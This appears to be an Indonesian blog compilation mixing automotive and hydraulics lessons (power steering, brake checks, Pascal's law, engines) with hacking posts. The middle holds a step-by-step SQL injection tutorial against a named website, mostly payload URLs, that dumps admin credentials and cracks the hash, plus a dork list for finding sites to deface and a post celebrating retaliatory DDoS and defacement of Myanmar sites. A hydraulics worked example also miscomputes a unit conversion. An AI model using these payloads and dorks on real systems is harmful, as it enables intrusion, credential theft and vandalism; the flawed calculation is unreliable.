Cara Kerja Power Steering

POWER STEERING


Sistem kemudi ini memiliki sebuah booster hidraulis dibagian tengah mekanisme kemudi agar kemudi menjadi lebih ringan. Dalam keadaan normal beratnya putaran roda kemudi adalah 2-4 kg ( lihat gambar )

Animasi cara kerja power steering


Sistem power steering direncanakan untuk mengurangi usaha pengemudian bila kendaraan bergerak pada putaran rendah dan menyesuaikan pada tingkat tertentu bila kendaraan bergerak, mulai kecepatan medium sampai kecepatan tinggi.

Penggunaan power steering memberikan keuntungan seperti :
- Mengurangi daya pengemudian ( steering effort )
- Kestabilan yang tinggi selama pengemudian


Cara kerja power steering :

1. Posisi netral
Minyak dari pompa dialirkan ke katup pengontrol ( control valve ). Bila katup pengontrol berada pada posisi netral, semua minyak akan mengalir melalui katup pengontrol ke saluran pembebas ( relief port )dan kembali ke pompa. Pada saat ini tidak terbentuk tekanan dan arena tekanan kedua sisi sama, torak tidak bergerak.


Animasi gerakan fluida pada posisi netral


2. Pada saat membelok
Pada saat poros utama kemudi (steeringmain shaft) diputar ke salah satu arah, katup pengontrol juga akan bergerak menutup salah satu saluran minyak. Saluran yang lain akan terbuka dan akan terjadi perubahan volume aliran minyak dan akhirnya terbentuk tekanan. Pada kedua sisi torak akan terjadi perbedaan tekanan dan torak akan bergerak ke sisi yang bertekanan rendah sehingga minyak yang berada dalam ruangan tersebut akan dikembalikan ke pompa melalui katup pengontrol.


Animasi gerakan fluida pada saat berbelok


Demikianlah cara kerja power steering.

Cara Kerja Sistem Kemudi Tipe Recirculating Ball

Fungsi sistem kemudi adalah untuk mengatur arah kendaraan dengan cara membelokkan roda-roda depan.

Bila roda kemudi diputar, steering column akan meneruskan tenaga putarnya ke steering gear. Steering gear memperbesar tenaga putar ini sehingga dihasilkan momen yang lebih besar untuk menggerakkan roda depan melalui steering linkage.

Berikut ini penjelasan singkat mngenai cara kerja sistem kemudi tipe recirculating ball

Pada waktu pengemudi memutar roda kemudi, poros utama yang dihubungkan dengan roda kemudi langsung membelok. Di ujung poros utama kerja dari gigi cacing dam mur pada bak roda gigi kemudi menambah tenaga dan memindahkan gerak putar dari roda kemudi ke gerakan mundur maju lengan pitman ( pitman arm ).

Sistem kemudi jenis recirculating ball

Lengan-lengan penghubung (linkage), batang penghubung ( relay rod ), tie rod, lengan idler ( idler arm ) dan lengan nakel arm dihubungkan dengan ujung pitman arm. Mereka memindahkan gaya putar dari kemudi ke roda-roda depan dengan memutar ball joint pada lengan bawah ( lower arm ) dan bantalan atas untuk peredam kejut.

Jenis ini biasanya digunakan pada mobil penumpang atau komersial.
Keuntungan :
-Komponen gigi kemudi relative besar, bisa digunakan untuk mobil ukuran sedang, mobil besar dan kendaraan komersial
-Keausan relative kecil dan pemutaran roda kemudi relative ringan
Kerugian :
- Konstruksi rumit karena hubungan antara gigi sector dan gigi pinion tidak langsung
- Biaya perbaikan lebih mahal

Cara Kerja Sistem Kemudi Rack and Pinion

Fungsi sistem kemudi adalah untuk mengatur arah kendaraan dengan cara membelokkan roda-roda depan. Bila roda kemudi diputar, steering column akan meneruskan tenaga putarnya ke steering gear. Steering gear memperbesar tenaga putar ini sehingga dihasilkan momen yang lebih besar untuk menggerakkan roda depan melalui steering linkage.

Berikut ini penjelasan singkat cara kerja sistem kemudi rack and pinion;
Pada waktu roda kemudi diputar, pinion pun ikut berputar. Gerakan ini akan menggerakkan rack dari samping ke samping dan dilanjutkan melalui tie rod ke lengan nakel pada roda-roda depan sehingga satu roda depan didorong, sedangkan satu roda tertarik, hal ini menyebabkan roda-roda berputar pada arah yang sama.

Sistem kemudi tipe rack dan pinion 

Kemudi jenis rack and pinion jauh lebih efisien bagi pengemudi untuk mengendalikan roda-roda depan. Pinion yang dihubungkan dengan poros utama kemudi melalui poros intermediate, berkaitan denngan rack.

Keuntungan :
- Konstruksi ringan dan sederhana
- Persinggungan antara gigi pinion dan rack secara langsung
- Pemindahan momen relatif lebih baik, sehingga lebih ringan

Kerugian :
- Bentuk roda gigi kecil, hanya cocok digunakan pada mobil penumpang ukuran kecil atau sedang
- Lebih cepat aus
- Bentuk gigi rack lurus, dapat menyebabkan cepatnya keausan

Prosedur Memeriksa dan Menyetel Tinggi Pedal Rem

Prosedur Memeriksa dan Menyetel Tinggi Pedal Rem

1. Ukur tinggi pedal

• Lipat karpet di bawah pedal rem dengan menggunakan penggaris, ukur jarak antara bagian atas pedal dan lantai. 
• Biasanya tinggi pedal rem tidak berubah secara drastis. Namun apabila tidak berada di dalam nilai spesifikasi, lakukan penyetelan menurut prosedur dibawah ini. 

2. Stel tinggi pedal

• Lepaskan soket (1) yakni kabel untuk swit lampu rem (2). 
• Kendorkan mur pengunci (3) swit lampu rem dan putar swit beberapa putaran. 
• Kendorkan mur pengunci (4) push rod (5) dan stel tinggi pedal dengan memutar push rod.
• Putar kembali swit lampu rem sampai stopper pedal sedikit menyentuh pelindung, kemudian kencangkan mur pengunci. 

3. Pasangkan kembali soket penghubung kabel swit lampu rem

4. Stel gerak bebas pedal rem

Memeriksa dan Menyetel Gerak Bebas Pedal Rem 

1. Periksa gerak bebas pedal rem

• Setelah mesin dimatikan, bebaskanlah kevakuman yang terdapat di dalam booster rem dengan jalan menginjak pedal rem sampai jarak cadangan pedal tidak berubah lagi dengan tekanan pedal yang sama. Jika masih terdapat vakum di dalam booster, gerak bebas pedal rem yang sebenarnya tidak dapat diketahui. 
• Dengan perlahan pedal rem ditekan dengan jari sampai terasa ada tahanan kemudian ukurlah langkah pedal. 

2. Stel gerak bebas pedal rem

• Jika gerak bebas pedal rem tidak dalam spesifikasi kendorkan mur (A) dari push rod pada master silinder (B). Penyetelan dilakukan dengan memutar-mutar push rod. 
• Kencangkan mur dan ukur gerak bebas sekali lagi. 
• Periksa bahwa lampu rem menyala bila pedal rem ditekan dan lampu rem mati apabila pedal dibebaskan. 

Pemeriksaan dan Perawatan Rem Tromol

Periksa secara visual kemungkinan terdapat kebocoran minyak rem pada silinder roda.

• Jika ada kebocoran atau minyak rem merembes, silinder roda harus overhaul. 

Periksa pelapis sepatu rem.

• Ukur tebal pelapis rem. Jika tebal pelapis rem kurang dari minimum atau mendekati minimum, ganti sepatu rem pada kedua roda. 
• Ukur diameter dalam tromol rem. Jika diameter lebih besar dari spesifikasi, tromol harus diganti.
• Jika permukaan tromol yang bersinggungan dengan pelapis sepatu rem tergores dalam, tromol harus diganti. 

Periksa ketebalan sepatu rem

• Jika gerak tuas terelalu berat, penyetel otomatis tidak akan bekerja dengan sempurna atau rem tangan tidak bisa dibebaskan. 

Pemeriksaan Rem Cakram atau Disc

Pemeriksaan Rem Piringan atau Rem Cakram

1. Periksa keausan pad rem. 

• Ukuran ketebalan pad rem Jika kurang dari atau mendekati 1.0 mm gantilah pad-padnya. 
• Jika keausan pad tidak merata atau ada kerusakan, mintalah petunjuk pada instruktur. 

2. Periksa mekanisme pen luncur kaliper. Jika ada kerusakan, kaliper perlu dioverhaul mintalah petunjuk pada instruktur anda.

3. Periksa tebal piringan.

• Bersihkan permukaan rotor piringan dengan menggunakan kain lap. 
• Ukur tebal rotor piringan. Jika kurang dari minimum, rotor harus diganti baru .

Pemeriksaan Permukaan Minyak Rem

Pemeriksaan Permukaan Minyak Rem 

• Periksa bahwa tinggi permukaan minyak rem dan master silinder adalah di antara garis MAX dan MIN. 
• Jika tinggi permukaan minyak rem dibawah atau dekat garis MIN, periksa kemungkinan terdapat kebocoran pada sistem hidrolis dan tambahkan minyak rem hingga garis MAX. 
• Jangan menggunakan minyak rem yang telah lama disimpan karena minyak rem adalah bahan yang mudah dipengaruhi cuaca. Jangan lupa menutup dan memberi perapat pada tutup tempat minyak rem. 
• Usahakan agar reservoir master silinder tidak kemasukkan kotoran. 
• Bersihkan setiap minyak rem yang mengenai bagian yang bercat karena minyak rem akan merusak cat.

Tinggi permukaan minyak rem menurun walaupun tidak ada kebocoran

Pipa-pipa rem dan rem piringan menjadi aus karena pemakaian rem. Sebagai akibat mekanisme rem piringan yang dapat menyetel dengan sendirinya, kapasitas silinder kaliper bertambh dengan bertambahnya keausan dari pad rem piringan dan piston terdorong keluar. Kemudian minyak rem mengalir dari master silinder ke silinder roda sehingga menyebabkan turunnya tinggi minyak rem di dalam reservoir. Karena itulah perlu diperiksa secara berkala tinggi permukaan minyak rem dan kalau perlu ditambah.

Hukum Pascal Dan Penerapannya

Prinsip-prinsip Penting dari Zat Cair/ Hidrolik

• Cairan tidak dapat dimampatkan/ dikompresikan / diperkecil volumenya.
• Hukum Pascal :  Tekanan yang diberikan pada zat cair / hidrolik dalam bejana tertutup, besarnya tekanan akan diteruskan ke segala arah dengan tekanan sama besar.

Fluida terdiri atas zat cair [liquid], satuan tekanan yang digunakan Standard Internasional (S1) ialah Pascal (Pa).

• 1 kPa = 1000 Pa
• 1 bar = 100 kPa

Kegunaan Prinsip Hidrolik

• Dapat meneruskan gerakan dalam jarak yang jauh
• Dapat meningkatkan panjang gerakan, dalam hal ini tenaga gerakan akan turun
• Dapat meningkatkan besarnya tenaga tekan, dalam hal ini panjang gerakan akan turun

Jika kedua silinder sama ukurannya, lalu sebuah gaya (N) bekerja pada silinder utama menyebabkan piston pada silinder kedua (actuator) mendapat gaya yang sama, bila kedua piston bergerak pada jarak yang sama

Untuk menghitung gaya, tekanan atau penambahan gaya dapat digunakan rumus segitiga, yaitu:

Gaya                     :  F (Force)        =  N

Tekanan               :  P (Pressure)   =  Kpa

Luas Penampang :  A (Area)         =  m²

F = P x A

P = F / A = Kpa | A = F / P = m²

Contoh penghitungan :
Gaya yang bekerja 50 N luas penampang 40 mm²
Besarnya gaya yang bekerja / satuan luas atau tekanan = 50 N : 0,04 m² = 1250 Kpa

Memperpanjang Gerakan

• Jika piston pada silinder I lebih besar dari pada piston II (actuator) maka Piston II pergerakannya lebih panjang
• Jika piston pada silinder I lebih besar 10 X dibanding piston II, maka piston II akan pergerakannya 10 X lebih besar

Meningkatkan Besar Tekanan

• Jika piston silinder I lebih kecil dari pada piston silinder II (actuator), maka Piston II menerima gaya tekan lebih besar
• Jika piston silinder I lebih kecil daripada piston II, maka piston II pergerakannya lebih pendek

Pengertian Sistem Hidrolik

Sistem Hidrolik adalah suatu sistem/ peralatan yang bekerja berdasarkan sifat dan potensi / kemampuan yang ada pada zat cair ( liquid ). Sistem ini bekerja berdasarkan prinsip yang berbunyi:  Jika suatu zat cair dikenakan tekanan, maka tekanan itu akan merambat ke segala arah dengan tidak bertambah atau berkurang kekuatannya

Kata hidrolik sendiri berasal dari bahasa ‘Greek’ yakni dari kata ‘hydro’ yang berati air dan ‘aulos’ yang berarti pipa. Namun, pada masa sekarang ini sistem hidrolik kebanyakan menggunakan air atau campuran oli dan air (water emulsian) atau oli saja.

Penggunaan sistem hidrolik, dalam bidang penerapannya :

Transmisis Otomatis	Dongkrak Hidrolik
Press Hidrolik	Rem Hidrolik

Bidang Industri

• alat press
• mesin pencetak plastik
• mesin pencetak logam
• pesawat angkat (lift, katrol)
• robot

Bidang Otomotif

• bolduser
• traktor
• car lift
• dongkrak hidrolik
• dump truck
• komponen-komponen kendaraan ( power steering, rem )

Bidang Penerbangan

• penggerak alat-alat kontrol
• penggerak roda
• pengangkat peralatan

Keuntungan Sistem Hidrolik

• Tenaga besar, dimensi peralatan yang kecil
• Kecepatan gerak yang dapat diatur (bervariasi)
• Mudah diubah arah gerakannya
• Pencegahan beban lebih yang sederhana konstruksinya (reliev valve)
• Mudah dihentikan tanpa merusak

Macam-macam Sistem Hidrolik

Hidrostatis
Pesawat hidrolik yang menggunakan sifat zat cair yaitu dapat meneruskan tenaga / daya kesegala arah
Contoh : Dongkrak hidrolik, rem hidrolik, derek lantai

Hidrodinamis
Pesawat hidrolik yang menggunakan potensi zat cair yang bergerak sehingga memiliki / menimbulkan tenaga hidrolik
Contah : Turbin air, pembangkit listrik

Komponen Utama Sistem Hidrolik

Sistem hidrolik ini didukung oleh 3 unit komponen utama, yaitu:

1. Unit Tenaga,  berfungsi sebagai sumber tenaga dengan liquid/ minyak hidrolik

Pada sistem ini, unit tenaga terdiri atas:

• Penggerak mula yang berupa motor listrik atau motor bakar
• Pompa hidrolik, putaran dari poros penggerak mula memutar pompa hidrolik sehingga pompa hidrolik bekerja
• Tangki hidrolik, berfungsi sebagai wadah atau penampang cairan hidrolik
• Kelengkapan (accessories), seperti : pressure gauge, gelas penduga, relief valve

2. Unit Penggerak (Actuator), berfungsi untuk mengubah tenaga fluida menjadi tenaga mekanik.
Hidrolik actuator dapat dibedakan menjadi dua macam yakni:

• Penggerak lurus (linier Actuator) : silinder hidrolik
• Penggerak putar : motor hidrolik, rotary actuator

3. Unit Pengatur, berfungsi sebagai pengatur gerak sistem hidrolik.

Unit pengatur diwujudkan dalam bentuk katup atau valve yang macam-macamnya akan dibahas berikut:

3.1 Katup Pengarah (Directional Control Valve = DCV) 

Katup (Valve) adalah suatu alat yang menerima perintah dari luar untuk melepas, menghentikan atau mengarahkan fluida yang melalui katup tersebut.
Contoh jenis katup pengarah: Katup 4/3 Penggerak lever, Katup pengarah dengan piring putar, katup dengan pegas bias.

3.2 Macam-macam Katup Pengarah Khusus 

• 1) Check Valve adalah katup satu arah, berfungsi sebagai pengarah aliran dan juga sebagaipressure control (pengontrol tekanan)
• 2) Pilot Operated Check Valve, Katup ini dirancang untuk aliran cairan hidrolik yang dapat mengalir bebas pada satu arah dan menutup pada arah lawannya, kecuali ada tekanan cairan yang dapat membukanya.
• 3) Katup Pengatur Tekanan, Tekanan cairan hidrolik diatur untuk berbagai tujuan misalnya untuk membatasi tekanan operasional dalam sistem hidrolik, untuk mengatur tekanan agar penggerak hidrolik dapat bekerja secara berurutan, untuk mengurangi tekanan yang mengalir dalam saluran tertentu menjadi kecil.

Macam-macam Katup pengatur tekanan adalah: 

a. Relief Valve, digunakan untuk mengatur tekanan yang bekerja pada sistem dan juga mencegah terjadinya beban lebih atau tekanan yang melebihi kemampuan rangkaian hidrolik.
b. Sequence Valve, berfungsi untuk mengatur tekanan untuk mengurutkan pekerjaan yaitu menggerakkan silinder hidrolik yang satu kemudian baru yang lain.
c. Pressure reducing valve, berfungsi untuk menurunkan tekanan fluida yang mengalir pada saluran kerja karena penggerak yang akan menerimanya didesain dengan tekanan yang lebih rendah.

• 4) Flow Control Valve, katup ini digunakan untuk mengatur volume aliran yang berarti mengatur kecepatan gerak actuator (piston).

Fungsi katup ini adalah sebagai berikut:

• Untuk membatasi kecepatan maksimum gerakan piston atau motor hidrolik
• Untuk membatasi daya yang bekerja pada sistem
• Untuk menyeimbangkan aliran yang mengalir pada cabang-cabang rangkaian.

Macam-macam dari Flow Control Valve :

• Fixed flow control yaitu: apabila pengaturan aliran tidak dapat berubah-ubah yaitu melalui fixed orifice.
• Variable flow control yaitu apabila pengaturan aliran dapat berubah-ubah sesuai dengan keperluan
• Flow control yang dilengkapi dengan check valve
• Flow control yang dilengkapi dengan relief valve guna menyeimbangkan tekanan

Menggambar Rancangan Rangkaian Hidrolik

Setelah kita pelajari komponen-komponen sistem hidrolik secara detail dan juga telah kita pelajari berbagai simbol dari setiap komponen sebagai bahasan tenaga fluida, demikian juga telah kita pelajari cara membaca diagram rangkaian (circuit diagram) maka akan kita mulai dengan cara mendesain (merancang) suatu rangkaian sesuai dengan yang kita kehendaki bila telah tersedia komponen-komponen sistem hidrolik.

Hal-hal yang perlu diperhatikan dalam merancang rangkaian hidrolik adalah:

• Tujuan penggunaan rangkaian
• Ketersediaan komponen
• Konduktor dan konektor yang digunakan macam apa
• Tekanan kerja sistem hidrolik berapa

Rancangan rangkaian hidrolik perlu dituangkan dalam bentuk diagram rangkaian hidrolik dengan menggunakan simbol-simbol grafik, dengan bantuan simbol-simbol grafik para desainer dapat menuangkan pemikiran lebih mudah, lebih tenang sehingga dapat berkreasi seoptimal mungkin.

Cara membuat diagram rangkaian biasanya dengan membuat tata letak komponen sebagai berikut:

• Actuator diletakkan pada gambar yang paling atas
• Unit pengatur diletakkan di bawahnya
• Unit tenaga diletakkan pada bagian paling bawah
• Setelah simbol-simbol komponen lengkap dalam lay out (tata letak) barulah digambar garis-garis penghubung sebagai gambar konduktor dengan garis-garis sesuai dengan macam konduktor yang digunakan

Gambar. Tata letak komponen hidrolik



Gambar. Diagram rangkaian hidrolik lengkap

Tutorial SQL Injection

Pertama cari target yg mengandung bug's atau situs" vuln...
Disini target kita adalah " http://www.dpsmbd.com "

Contoh:
http://www.dpsmbd.com/newsdetail.php?id=1
menjadi :
http://www.dpsmbd.com/newsdetail.php?id=1'

Ket: Bisa juga dengan ?id=1...

Setelah itu mulai mencari jumlah urutan table dengan order by ( dalam beberapa kasus order by tidak akan berfungsi...)

Contoh :
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 2--
Jika situs masih tampak normal silahkan lanjutkan sampai menemui halaman yg error.

Misalkan :
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 2--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 3--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 4--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 5--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 6--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 7--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 8--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 9--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 10--

Ket: Gak perlu ngurut... di loncat2 juga bisa yg penting ketemu pertemuan antara error dan tidak pas dimana...

Selanjutnya melakukan colomn count dengan UNION SELECT menggunakan angka hingga keluar daftar angka didalam situs tersebut....

Contoh :
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6,7--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6,7,8--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6,7,8,9--

Ket: Anda bisa sebenar'a langsung ke union select 1,2,3,4,5,6,7,8,9--
Karena order by yang tadi dilakukan sampai angka 9 sebelum terjadi error'a....

Setelah tau angka apa saja yg keluar setelah melakukan column count, kita tinggal mencari daftar table'a...dan menaruh group_concat(table_name) di urutan nomor yg tadi keluar di web tersebut...

Dan menaruh "from information_schema.tables where table_schema=database()--" diakhir angka " berarti 9 "......

Contoh :
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=database()--
Jika keluar daftar table'a...pilihlah table mana yg ingin kita exploitasi...Misalkan kita pilih table "admin"
untuk mencari nama kolom didalam table admin, terlebih dahulu kita merubah/meng convert text "admin" kedalam Hexadecimal

Ke situs http://www.string-functions.com/string-hex.aspx
hasil hex dari admin = 61646d696e setiap hexadecimal diawali dengan 0x...dan menjadi 0x61646d696e

Lalu tambahkan
limit 1,1--
limit 2,1--

limit 3,1--
limit 4,1--

Fungsi'a untuk mengetahui nama kolom dari table yang dimaksud.

Contoh:
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 1,1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 2,1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 3,1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 4,1--



Berikut nama2 kolom dari hasil exploitasi..

limit 1,1--
limit 2,1--
limit 3,1--
limit 4,1--

Yang akan kita exploitasi selanjutnya adalah isi dari nama kolom " user_name " dan " pass_word "
Contoh :

http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,group_concat(user_name,0x3a,pass_word),4,5,6,7,8,9 from admin--

Atau bisa juga satu per satu dengan cara memisahkan nama kolom
Contoh:
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,user_name,4,5,6,7,8,9 from admin--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,pass_word,4,5,6,7,8,9 from admin--

Maka keluarlah isi dari kolom tersebut, dengan isi :
superadmin@dps.com:44771849be55a878c9651a1794308cf5 yang berarti :
user_name = superadmin@dps.com
pass_word = 44771849be55a878c9651a1794308cf5

Karna password'a masih berbentuk hash...maka anda decrypt terlebih dahulu hash tersebut ke http://www.md5decrypter.co.uk/ dan akan ditemukan hasil'a menjadi :
Password = DPSmbd

Setelah mengetahui username dan password'a, tugas anda selanjutnya adalah mencari login page admin dari situs tersebut.
Silahkan gunakan tool finder page admin atau menggunakan jasa online ke http://sc0rpion.ir/af/

NB : Tehnik diatas tidaklah baku dan bersifat prosedural....kalian bisa menggunakan cara lain.....

Daftar Dork Webdav

Dork mungkin berguna untuk kita (Newbie Defacer).

Budayakan berkomentar, atau berikan umpan balik.

intitle:"Directory Listing For /" + inurl:webdav tomcat
intitle:"Directory Listing For /" + inurl:webdav

inurl:*.edu/*.asp
inurl:.gov.*/*.asp
inurl:*.gov/*.asp
inurl:.org/*.asp
inurl:.ag/*.asp
inurl:.it/*.asp
inurl:.uk/*.asp
inurl:.co.il/*.asp
inurl:.com/*.asp
inurl:.co.id/*.asp
inurl:.ah.cn/*.asp
inurl:.bj.cn/*.asp
inurl:.cq.cn/*.asp
inurl:.fj.cn/*.asp
inurl:.gd.cn/*.asp
inurl:.gs.cn/*.asp
inurl:.gz.cn/*.asp
inurl:.gx.cn/*.asp
inurl:.ha.cn/*.asp
inurl:.hb.cn/*.asp
inurl:.he.cn/*.asp
inurl:.hi.cn/*.asp
inurl:.hl.cn/*.asp
inurl:.hn.cn/*.asp
inurl:.jl.cn/*.asp
inurl:.js.cn/*.asp
inurl:.jx.cn/*.asp
inurl:.ln.cn/*.asp
inurl:.nm.cn/*.asp
inurl:.nx.cn/*.asp
inurl:.qh.cn/*.asp
inurl:.sc.cn/*.asp
inurl:.sd.cn/*.asp
inurl:.sh.cn/*.asp
inurl:.sn.cn/*.asp
inurl:.sx.cn/*.asp
inurl:.tj.cn/*.asp
inurl:.tw.cn/*.asp
inurl:.xj.cn/*.asp
inurl:.xz.cn/*.asp
inurl:.yn.cn/*.asp
inurl:.zj.cn/*.asp
inurl:.ac.cn/*.asp
inurl:.com.cn/*.asp
inurl:.edu.cn/*.asp
inurl:.gov.cn/*.asp
inurl:.net.cn/*.asp
inurl:.org.cn/*.asp

Antah Berantah

Cyber War Hacker Indonesia vs Hacker Myanmar

Inilah dalang Grup yang telah meretas Situs situs indonesia. -> http://www.blinkhackergroup.org/
Tapi sayang, website itu type DNS nya .blogspot
Lebih lengkap lihat disini

Serangan serempak telah dilakukan oleh Hacker Indonesia ke ISP dan website-website Myanmar, di karenakan ini adalah bentuk kepedulian Hacker Indonesia dengan apa yang telah di lakukan oleh Hacker Myanmar yang telah merusak website - website Indoensia. Hacker Indonesia berjuang untuk membelah MARTABAT, dan HARGA DIRI BANGSA INDONESIA yang telah di lecehkan oleh negara lain. Disaat 230 situs Indonesia bahkan lebih dihajar oleh Myanmar, siapakah yang membalas ?

Apakah polisi cyber Indonesia ? Apakah pemerintah Indonesia ? Tidak ! Hacker lah yang dengan gigih menjunjung tinggi derajat bangsa ini dengan melakukan gerakan OP Myanmar. Tanpa digaji pun hacker Indonesia akan bahu membahu membalas serangan yang dilakukan oleh Myanmar ! Seperti yang kita ketahui, Myanmar sangat mudah melakukan aksi deface masal ke situs Indonesia karena mereka difasiliatsi untuk itu. Maksudnya ? Ya, situs Indonesia sangat banyak. Jelas sangat mudah jika hanya mencari bug dan kemudian melakukan symlink. Di Indonesia ada google.co.id yang memudahkan mereka melakukan scan terhadap web target. Bandingkan dengan mereka ! Situs Myanmar sedikit ! Di sana tidak ada situs google ! Sangat sulit jika harus masuk lewat celah keamanan ! Oleh karena itu, diputuskan malam ini DDoSer Indonesia akan melakukan balasan dengan meratakan situs-situs Myanmar secara bersama-sama...


Beberapa serangan telah di lancarkan ke negara Myanmar, di bawah ini list website Myanmar yang sudah pernah down, di deface, hacked, dan 404.

• ais.gov.mm
• amd.moai.gov.mm
• asiaholidays.com.mm
• asialight.com.mm
• asianskytravels.com
• asiantrails.com.mm
• asianwingsairways.com.mm
• cbm.gov.mm
• city.com.mm
• cnj.net.mm
• commerce.gov.mm
• consultancy.com.mm
• cosco.com.mm
• ct.com.mm
• daewooenp.com.mm
• dar.moai.gov.mm
• dca.gov.mm
• earth.com.mm
• eleven.com.mm
• elibrary.com.mm
• enjoy.net.mm
• forex.cbm.gov.mm
• forum.myanmarfrangipanitours.com
• geocomp-myanmar.net.mm
• globalnet.com.mm
• globalsongroup.com
• gmrockentgroup.com
• hantharwaddy.net.mm
• hotel-tourism.gov.mm
• indiaembassy.net.mm
• industry2.gov.mm
• irdmyanmar.gov.mm
• irrigation.gov.mm
• irrigation.gov.mm
• isy.net.mm
• kmd.com.mm
• madb.moai.gov.mm
• mail4u.com.mm
• mailtx.teleport.net.mm
• marychapman-mm.org
• mbl.com.mm
• mcpa.org.mm
• mes.org.mm
• micde.moai.gov.mm
• mining.com.mm
• mit.com.mm
• mmmc.edu.mm
• mnped.gov.mm
• moc.gov.mm
• mofr.gov.mm
• mosports.gov.mm
• mot.gov.mm
• mpa.gov.mm
• mprlnet.com.mm
• mptmail.com.mm
• mptmail.net.mm
• mptsat.com.mm
• mwd.com.mm
• myanmar.com.mm
• myanmar.gov.mm
• myanmar.net.mm
• myanmarbizdirectory.com
• myanmarfishexporter.com
• myanmarnlp.org.mm
• myanmaronline.com.mm
• myanmaronline.net.mm
• myanmartradenet.com.mm
• myanmartravelguides.com
• myanmatimber.com.mm
• myanpay.net.mm
• myantel.net.mm
• myringtune.com.mm
• myringtuneonline.com.mm
• nebula.com.mm
• nestlemyanmar.com.mm
• nic.net.mm
• npt.net.mm
• ns4.nic.net.mm
• opal.net.mm
• people.com.mm
• planet.com.mm
• pomail.gov.mm
• president-office.gov.mm
• primeboss.com.mm
• redlink.net.mm
• redlinkcare.net.mm
• royalgoldentortoise.com
• royalwhisky.net.mm
• rpmm.com.mm
• rubyland.com.mm
• sb.gov.mm
• sd.moai.gov.mm
• spa.com.mm
• sunfar.com.mm
• super.com.mm
• talentsnmodels.com
• talisman.com.mm
• tawwincentre.com.mm
• teleport.net.mm
• thaiairways.com.mm
• tinaungzawtrading.com
• tinmoelwin.com
• tnk.net.mm
• todaygroup.com.mm
• tourmandalay.com.mm
• ucsb.gov.mm
• umfcci.com.mm
• ummg.edu.mm
• webasaservice.com
• webmail.mm.com
• wimaxmail.net.mm
• wpiteam.net.mm
• wrud.moai.gov.mm
• yangtse.com.mm
• yatanarponca.com.mm
• yau.moai.gov.mm
• yomabank.com.mm
• zte.com.mm

Mesin Radial

Mesin radial biasa digunakan pada pesawat, namun seiring perkembangan jaman mesin tersebut telah tergantikan oleh mesin jet turbo. Cara kerja mesin radial dapat dilihat disini, perbedaannya hanya pada letak silinder.

Cara Kerja Mesin Wankel atau Rotary

Lihat Gambar

-Posisi rotor sisi a merupakan proses langkah hisap, pada langkah hisap campuran udara dan bahan bakar dihisap masuk ke ruang vakum.

-Posisi rotor sisi b awal merupakan proses langkah kompresi, pada langkah ini campuran udara dan bahan bakar dikompresikan, posisi rotor sisi b akhir merupakan proses langkah usaha, pada langkah ini busi membakar campuran udara dan bahan bakar, tekanan tinggi hasil dari pembakaran menghasilkan ledakan dan menimbulkan tenaga untuk menggerakkan rotor. 

-Posisi rotor sisi c merupakan proses langkah pembuangan, pada langkah ini tekanan tinggi hasil pembakaran keluar melalui exhaust port menuju knlapot.

Kalau kalian ingin pakai  mesin ini kalian harus jadi anak Poltak Raja Minyak,  karena boros bahan bakar, namun mesin ini sangat cepat/kencang.

Jika kita teliti lebih lagi, mesin wankel akan menghasilkan 3 langkah tenaga dalam satu kali putaran penuh pada mesin, maka 6 kali lebih cepat menghasilkan tenaga dibandingkan motor bakar 4 langkah pada satu kali putaran penuh mesin dan 3 kali lebih cepat menghasilkan tenaga dibandingkan motor bakar 2 langkah pada satu kali putaran penuh mesin.

Ukuran dan bentuk dari rotor serta ruang bakar dapat mempengaruhi tenaga yang dihasilkan. Untuk pemanfaatan tenaga yang besar sekaligus mesin halus (minim getaran), maka dikembangkan mesin wankel dengan dua rotor, yang dipasang berbanding tegak lurus dengan rotor kedua. 

Biasanya sisi-sisi dari rotor diberi cekungan kedalam yang berfungsi sebagai ruang bakar tambahan. Ujung-ujung dari rotor terdapat seal yang berfungsi sebagai perapat antara rotor dengan rumah rotor pada saat kompresi, agar tidak terjadi kebocoran kompresi. Pendinginan pada mesin wankel menggunakan air pendingin sedangkan untuk rotornya menggunakan pendinginan oli.

Cara Kerja Mesin 2 Tak Bensin

Pada postingan sebelumnya kita membahas mesin 4 tak bensin, sesuai dengan janji saya kita akan bahas mesin lainnya.

Mesin 2 tak pada prinsipnya bekerja dengan 2 langkah piston atau 1 putaran poros engkol. Dalam satu siklus kerja mesin 2 tak hanya terdiri dari 1 kali gerakan naik dan 1 gerakan turun dari piston saja, berbeda dengan mesin 4 tak yang dalam satu siklus kerja mesin harus terdiri dari 2 gerak naik dan 2 gerak turun.

